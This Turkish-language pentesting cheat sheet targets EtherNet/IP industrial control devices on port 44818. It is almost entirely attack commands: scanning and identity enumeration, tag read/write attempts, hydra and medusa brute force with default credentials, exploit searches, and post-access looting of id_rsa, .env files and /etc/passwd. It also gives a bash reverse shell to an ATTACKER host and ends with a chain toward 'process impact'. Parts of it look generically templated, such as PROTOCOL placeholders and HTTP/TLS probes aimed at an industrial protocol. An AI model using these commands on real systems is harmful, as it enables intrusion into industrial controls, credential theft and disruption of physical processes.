44818/UDP/TCP - Pentesting EthernetIP
EtherNet/IP ot
EtherNet/IP endüstriyel kontrol konuşmasıdır. Identity/list services cihaz tipi ve bazen yazma yüzeyi verir. Hedef lab IP’si üzerinde komutları 44818 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
44818 TCP/UDP doğrula.
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List Identity / services.
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Tag/read-write dene.
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Program/logic loot.
nmap -Pn -sV -p44818 TARGETnmap -Pn -sU -p44818 --script enip-info TARGETpython3 cpppo/tools/enip_client.py TARGETpython3 -c 'from cpppo.server.enip import client; print(client.connector(host="TARGET"))'ListIdentity → vendor/product/serialtcpdump -ni any port 44818 -w enip.pcapDerin enum
Section titled “Derin enum”/UDP/TCP - EthernetIP için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p44818 TARGETnmap -Pn -p44818 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:44818' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',44818));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → /UDP/TCP - EthernetIPKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 44818 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 44818nmap -p44818 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit EtherNet/IPmsfconsole -q -x 'search EtherNet/IP; exit'nuclei -u https://TARGET:44818 -t cves/ -silent -severity || truenuclei -u http://TARGET:44818 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 44818printf '' | timeout 3 nc -nv TARGET 44818curl -vk --http1.0 http://TARGET:44818/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”enip-info → identity → read tags → process impact